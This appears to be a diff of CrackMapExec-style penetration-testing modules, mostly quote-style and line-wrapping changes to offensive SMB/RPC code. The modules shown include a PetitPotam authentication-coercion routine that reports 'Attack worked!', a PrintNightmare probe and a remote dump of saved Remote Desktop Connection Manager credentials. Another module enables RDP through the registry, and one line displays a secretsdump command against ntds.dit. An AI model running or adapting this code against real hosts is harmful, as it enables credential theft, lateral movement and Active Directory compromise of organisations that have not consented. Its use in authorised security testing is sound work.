context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result))
else:
shutil.rmtree(self.dir_result)
shutil.rmtree(self.dir_result)
+4 -3
View File
@@ -11,6 +11,7 @@ class CMEModule:
Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
Module by @Tw1sm
"""
name = "ntlmv1"
description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
supported_protocols = ["smb"]
@@ -31,16 +32,16 @@ class CMEModule:
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"SYSTEM\\CurrentControlSet\\Control\\Lsa",
)
key_handle = ans['phkResult']
key_handle = ans["phkResult"]
rtype = None
data = None
try:
rtype, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"lmcompatibilitylevel\x00"
"lmcompatibilitylevel\x00",
)
except rrp.DCERPCSessionError as e:
context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
+110 -88
View File
@@ -10,14 +10,19 @@ from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import (
DCERPCException,
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.uuid import uuidtup_to_bin
class CMEModule:
name = 'petitpotam'
name = "petitpotam"
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -27,11 +32,11 @@ class CMEModule:
PIPE Default PIPE (default: lsarpc)
"""
self.listener = "127.0.0.1"
if 'LISTENER' in module_options:
self.listener = module_options['LISTENER']
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
self.pipe = "lsarpc"
if 'PIPE' in module_options:
self.pipe = module_options['PIPE']
if "PIPE" in module_options:
self.pipe = module_options["PIPE"]
def on_login(self, context, connection):
dce = coerce(
@@ -45,14 +50,22 @@ class CMEModule:
do_kerberos=connection.kerberos,
dc_host=connection.kdcHost,
target_ip=connection.host,
context=context
context=context,
)
if efs_rpc_open_file_raw(dce, self.listener, context):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
try:
host = context.db.get_hosts(connection.host)[0]
context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, petitpotam=True)
context.db.add_host(
host.ip,
host.hostname,
host.domain,
host.os,
host.smbv1,
host.signing,
petitpotam=True,
)
except Exception as e:
context.log.debug(f"Error updating petitpotam status in database")
@@ -61,14 +74,18 @@ class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
return "EFSR SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
else:
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
return "EFSR SessionError: unknown error code: 0x%x" % self.error_code
################################################################################
@@ -76,82 +93,73 @@ class DCERPCSessionError(DCERPCException):
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
structure = (("Data", "20s"),)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
structure = (("Data", ":"),)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
("Data", DWORD),
("cbData", PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
("Data", DWORD),
("cbData", PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
('Type', DWORD),
('Data', DWORD),
('cbData', PCHAR),
("Type", DWORD),
("Data", DWORD),
("cbData", PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_HASH_BLOB),
('Display', LPWSTR),
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_CERTIFICATE_BLOB),
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
('Cert', DWORD),
('Users', ENCRYPTION_CERTIFICATE_HASH),
("Cert", DWORD),
("Users", ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
('Type', DWORD),
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
('Certif', ENCRYPTION_CERTIFICATE),
('Blob', EFS_RPC_BLOB),
("Type", DWORD),
("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST),
("Certif", ENCRYPTION_CERTIFICATE),
("Blob", EFS_RPC_BLOB),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
structure = (("Data", ":"),)
################################################################################
@@ -160,57 +168,71 @@ class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
('fileName', WSTR),
('Flag', ULONG),
("fileName", WSTR),
("Flag", ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
('hContext', EXIMPORT_CONTEXT_HANDLE),
('ErrorCode', ULONG),
("hContext", EXIMPORT_CONTEXT_HANDLE),
("ErrorCode", ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (
('FileName', WSTR),
)
structure = (("FileName", WSTR),)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
structure = (("ErrorCode", ULONG),)
def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos, dc_host, target_ip=None, context=None):
def coerce(
username,
password,
domain,
lmhash,
nthash,
target,
pipe,
do_kerberos,
dc_host,
target_ip=None,
context=None,
):
binding_params = {
'lsarpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
"lsarpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
'efsr': {
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
"efsr": {
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
},
'samr': {
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
"samr": {
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
'lsass': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
"lsass": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
'netlogon': {
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
"netlogon": {
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
if hasattr(rpc_transport, 'set_credentials'):
rpc_transport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
)
if target_ip:
rpc_transport.setRemoteHost(target_ip)
@@ -223,16 +245,16 @@ def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
context.log.info("[-] Connecting to %s" % binding_params[pipe]["stringBinding"])
try:
dce.connect()
except Exception as e:
context.log.debug("Something went wrong, check error status => %s" % str(e))
sys.exit()
context.log.info("[+] Connected!")
context.log.info("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
context.log.info("[+] Binding to %s" % binding_params[pipe]["MSRPC_UUID_EFSR"][0])
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
except Exception as e:
context.log.debug("Something went wrong, check error status => %s" % str(e))
sys.exit()
@@ -243,27 +265,27 @@ def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos
def efs_rpc_open_file_raw(dce, listener, context=None):
try:
request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0
request["fileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
request["Flag"] = 0
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
context.log.info('[+] Got expected ERROR_BAD_NETPATH exception!!')
context.log.info('[+] Attack worked!')
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
if str(e).find('rpc_s_access_denied') >= 0:
context.log.info('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
context.log.info('[+] OK! Using unpatched function!')
if str(e).find("rpc_s_access_denied") >= 0:
context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
context.log.info("[+] OK! Using unpatched function!")
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request["FileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
context.log.info('[+] Got expected ERROR_BAD_NETPATH exception!!')
context.log.info('[+] Attack worked!')
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
else:
context.log.debug("Something went wrong, check error status => %s" % str(e))
+299
View File
@@ -0,0 +1,299 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
}
class CMEModule:
"""
Check if vulnerable to printnightmare
Module by @mpgn_x64 based on https://github.com/ly4k/PrintNightmare
"""
name = "printnightmare"
description = "Check if host vulnerable to printnightmare"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.__string_binding = None
self.port = None
def options(self, context, module_options):
"""
PORT Port to check (defaults to 445)
"""
self.port = 445
if "PORT" in module_options:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
context.log.info("Binding to %s" % (repr(stringbinding)))
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
context.log.fail("Failed to bind: %s" % e)
sys.exit(1)
flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER
driver_container = DRIVER_CONTAINER()
driver_container["Level"] = 2
driver_container["DriverInfo"]["tag"] = 2
driver_container["DriverInfo"]["Level2"]["cVersion"] = 0
driver_container["DriverInfo"]["Level2"]["pName"] = NULL
driver_container["DriverInfo"]["Level2"]["pEnvironment"] = NULL
driver_container["DriverInfo"]["Level2"]["pDriverPath"] = NULL
driver_container["DriverInfo"]["Level2"]["pDataFile"] = NULL
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL
try:
hRpcAddPrinterDriverEx(
dce,
pName=NULL,
pDriverContainer=driver_container,
dwFileCopyFlags=flags,
)
except DCERPCSessionError as e:
# RPC_E_ACCESS_DENIED is returned on patched systems, when
# a non-administrative user tries to create a new printer
# driver
if e.error_code == RPC_E_ACCESS_DENIED:
context.log.info("Not vulnerable :'(")
return False
# If vulnerable, 'ERROR_INVALID_PARAMETER' will be returned
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
raise e
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return "RPRN SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
else:
return "RPRN SessionError: unknown error code: 0x%x" % self.error_code
################################################################################
# CONSTANTS
################################################################################
# MS-RPRN - 3.1.4.4.8
APD_COPY_ALL_FILES = 0x00000004
APD_COPY_FROM_DIRECTORY = 0x00000010
APD_INSTALL_WARNED_DRIVER = 0x00008000
# MS-RPRN - 3.1.4.4.7
DPD_DELETE_UNUSED_FILES = 0x00000001
# https://docs.microsoft.com/en-us/windows/win32/com/com-error-codes-3
RPC_E_ACCESS_DENIED = 0x8001011B
system_errors.ERROR_MESSAGES[RPC_E_ACCESS_DENIED] = (
"RPC_E_ACCESS_DENIED",
"Access is denied.",
)
################################################################################
# STRUCTURES
################################################################################
# MS-RPRN - 2.2.1.5.1
class DRIVER_INFO_1(NDRSTRUCT):
structure = (("pName", STRING_HANDLE),)
class PDRIVER_INFO_1(NDRPOINTER):
referent = (("Data", DRIVER_INFO_1),)
# MS-RPRN - 2.2.1.5.2
class DRIVER_INFO_2(NDRSTRUCT):
structure = (
("cVersion", DWORD),
("pName", LPWSTR),
("pEnvironment", LPWSTR),
("pDriverPath", LPWSTR),
("pDataFile", LPWSTR),
("pConfigFile", LPWSTR),
)
class PDRIVER_INFO_2(NDRPOINTER):
referent = (("Data", DRIVER_INFO_2),)
class DRIVER_INFO_2_BLOB(Structure):
structure = (
("cVersion", "<L"),
("NameOffset", "<L"),
("EnvironmentOffset", "<L"),
("DriverPathOffset", "<L"),
("DataFileOffset", "<L"),
("ConfigFileOffset", "<L"),
)
def __init__(self, data=None):
Structure.__init__(self, data=data)
def fromString(self, data, offset=0):
Structure.fromString(self, data)
name = data[self["NameOffset"] + offset :].decode("utf-16-le")
name_len = name.find("\0")
self["Name"] = checkNullString(name[:name_len])
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset].decode("utf-16-le")
self["DataFile"] = data[self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset].decode("utf-16-le")
self["DriverPath"] = data[self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset].decode("utf-16-le")
self["Environment"] = data[self["EnvironmentOffset"] + offset : self["NameOffset"] + offset].decode("utf-16-le")
class DRIVER_INFO_2_ARRAY(Structure):
def __init__(self, data=None, pcReturned=None):
Structure.__init__(self, data=data)
self["drivers"] = list()
remaining = data
if data is not None:
for _ in range(pcReturned):
attr = DRIVER_INFO_2_BLOB(remaining)
self["drivers"].append(attr)
remaining = remaining[len(attr) :]
class DRIVER_INFO_UNION(NDRUNION):
commonHdr = (("tag", ULONG),)
union = {1: ("pNotUsed", PDRIVER_INFO_1), 2: ("Level2", PDRIVER_INFO_2)}
# MS-RPRN - 3.1.4.1.8.3
class DRIVER_CONTAINER(NDRSTRUCT):
structure = (("Level", DWORD), ("DriverInfo", DRIVER_INFO_UNION))
################################################################################
# RPC CALLS
################################################################################
# MS-RPRN - 3.1.4.4.2
class RpcEnumPrinterDrivers(NDRCALL):
opnum = 10
structure = (
("pName", STRING_HANDLE),
("pEnvironment", LPWSTR),
("Level", DWORD),
("pDrivers", PBYTE_ARRAY),
("cbBuf", DWORD),
)
class RpcEnumPrinterDriversResponse(NDRCALL):
structure = (
("pDrivers", PBYTE_ARRAY),
("pcbNeeded", DWORD),
("pcReturned", DWORD),
("ErrorCode", ULONG),
)
# MS-RPRN - 3.1.4.4.8
class RpcAddPrinterDriverEx(NDRCALL):
opnum = 89
structure = (
("pName", STRING_HANDLE),
("pDriverContainer", DRIVER_CONTAINER),
("dwFileCopyFlags", DWORD),
)
class RpcAddPrinterDriverExResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
# MS-RPRN - 3.1.4.4.7
class RpcDeletePrinterDriverEx(NDRCALL):
opnum = 84
structure = (
("pName", STRING_HANDLE),
("pEnvironment", WSTR),
("pDriverName", WSTR),
("dwDeleteFlag", DWORD),
("dwVersionNum", DWORD),
)
class RpcDeletePrinterDriverExResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
10: (RpcEnumPrinterDrivers, RpcEnumPrinterDriversResponse),
84: (RpcDeletePrinterDriverEx, RpcDeletePrinterDriverExResponse),
89: (RpcAddPrinterDriverEx, RpcAddPrinterDriverExResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hRpcAddPrinterDriverEx(dce, pName, pDriverContainer, dwFileCopyFlags):
request = RpcAddPrinterDriverEx()
request["pName"] = checkNullString(pName)
request["pDriverContainer"] = pDriverContainer
request["dwFileCopyFlags"] = dwFileCopyFlags
return dce.request(request)
+66 -51
View File
File diff suppressed because one or more lines are too long
+79 -23
View File
@@ -9,11 +9,12 @@ from dploot.lib.smb import DPLootSMBConnection
from cme.helpers.logger import highlight
class CMEModule:
name = "rdcman"
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
supported_protocols = ["smb"]
opsec_safe= True
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
@@ -25,12 +26,11 @@ class CMEModule:
self.masterkeys = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], 'rb').read()
self.pvkbytes = open(module_options["PVK"], "rb").read()
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], 'rb').read()
self.pvkbytes = open(module_options["MKFILE"], "rb").read()
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
@@ -86,22 +86,28 @@ class CMEModule:
conn = None
try:
conn = DPLootSMBConnection(target)
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug("Could not upgrade connection: {}".format(e))
return
plaintexts = {username:password for _, _, username, password, _,_ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username:nt.split(':')[1] if ':' in nt else nt for _, _, username, nt, _,_ in context.db.get_credentials(cred_type="hash")}
if password != '':
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != '':
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, pvkbytes=self.pvkbytes, passwords=plaintexts, nthashes=nthashes)
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug("Could not get masterkeys: {}".format(e))
@@ -119,21 +125,71 @@ class CMEModule:
if rdcman_file is None:
continue
for rdg_cred in rdcman_file.rdg_creds:
if rdg_cred.type == 'cred':
context.log.highlight("[%s][%s] %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
elif rdg_cred.type == 'logon':
context.log.highlight("[%s][%s] %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
elif rdg_cred.type == 'server':
context.log.highlight("[%s][%s] %s - %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
if rdg_cred.type == "cred":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "logon":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "server":
context.log.highlight(
"[%s][%s] %s - %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.server_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
for rdgfile in rdgfiles:
if rdgfile is None:
continue
for rdg_cred in rdgfile.rdg_creds:
if rdg_cred.type == 'cred':
context.log.highlight("[%s][%s] %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
elif rdg_cred.type == 'logon':
context.log.highlight("[%s][%s] %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
elif rdg_cred.type == 'server':
context.log.highlight("[%s][%s] %s - %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode('latin-1')))
if rdg_cred.type == "cred":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "logon":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "server":
context.log.highlight(
"[%s][%s] %s - %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.server_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
except Exception as e:
context.log.debug("Could not loot RDCMan secrets: {}".format(e))
context.log.debug("Could not loot RDCMan secrets: {}".format(e))
+39 -19
View File
@@ -23,20 +23,20 @@ class CMEModule:
"""
ACTION Enable/Disable RDP (choices: enable, disable)
"""
if not 'ACTION' in module_options:
context.log.fail('ACTION option not specified!')
if not "ACTION" in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
if module_options['ACTION'].lower() not in ['enable', 'disable']:
context.log.fail('Invalid value for ACTION option!')
if module_options["ACTION"].lower() not in ["enable", "disable"]:
context.log.fail("Invalid value for ACTION option!")
exit(1)
self.action = module_options['ACTION'].lower()
self.action = module_options["ACTION"].lower()
def on_admin_login(self, context, connection):
if self.action == 'enable':
if self.action == "enable":
self.rdp_enable(context, connection.conn)
elif self.action == 'disable':
elif self.action == "disable":
self.rdp_disable(context, connection.conn)
def rdp_enable(self, context, smbconnection):
@@ -45,17 +45,27 @@ class CMEModule:
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
)
keyHandle = ans["phkResult"]
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 0)
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"fDenyTSConnections\x00",
rrp.REG_DWORD,
0,
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00")
if int(data) == 0:
context.log.success('RDP enabled successfully')
context.log.success("RDP enabled successfully")
try:
remoteOps.finish()
@@ -68,17 +78,27 @@ class CMEModule:
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
)
keyHandle = ans["phkResult"]
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 1)
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"fDenyTSConnections\x00",
rrp.REG_DWORD,
1,
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00")
if int(data) == 1:
context.log.success('RDP disabled successfully')
context.log.success("RDP disabled successfully")
try:
remoteOps.finish()
+39 -65
View File
@@ -7,9 +7,9 @@ from impacket.examples.secretsdump import RemoteOperations
class CMEModule:
name = 'reg-query'
description = 'Performs a registry query on the machine'
supported_protocols = ['smb']
name = "reg-query"
description = "Performs a registry query on the machine"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -39,29 +39,29 @@ class CMEModule:
self.type = None
self.delete = False
if module_options and 'PATH' in module_options:
self.path = module_options['PATH']
if module_options and "PATH" in module_options:
self.path = module_options["PATH"]
if module_options and 'KEY' in module_options:
self.key = module_options['KEY']
if module_options and "KEY" in module_options:
self.key = module_options["KEY"]
if 'VALUE' in module_options:
self.value = module_options['VALUE']
if 'TYPE' in module_options:
if "VALUE" in module_options:
self.value = module_options["VALUE"]
if "TYPE" in module_options:
type_dict = {
'REG_NONE': rrp.REG_NONE,
'REG_SZ': rrp.REG_SZ,
'REG_EXPAND_SZ': rrp.REG_EXPAND_SZ,
'REG_BINARY': rrp.REG_BINARY,
'REG_DWORD': rrp.REG_DWORD,
'REG_DWORD_BIG_ENDIAN': rrp.REG_DWORD_BIG_ENDIAN,
'REG_LINK': rrp.REG_LINK,
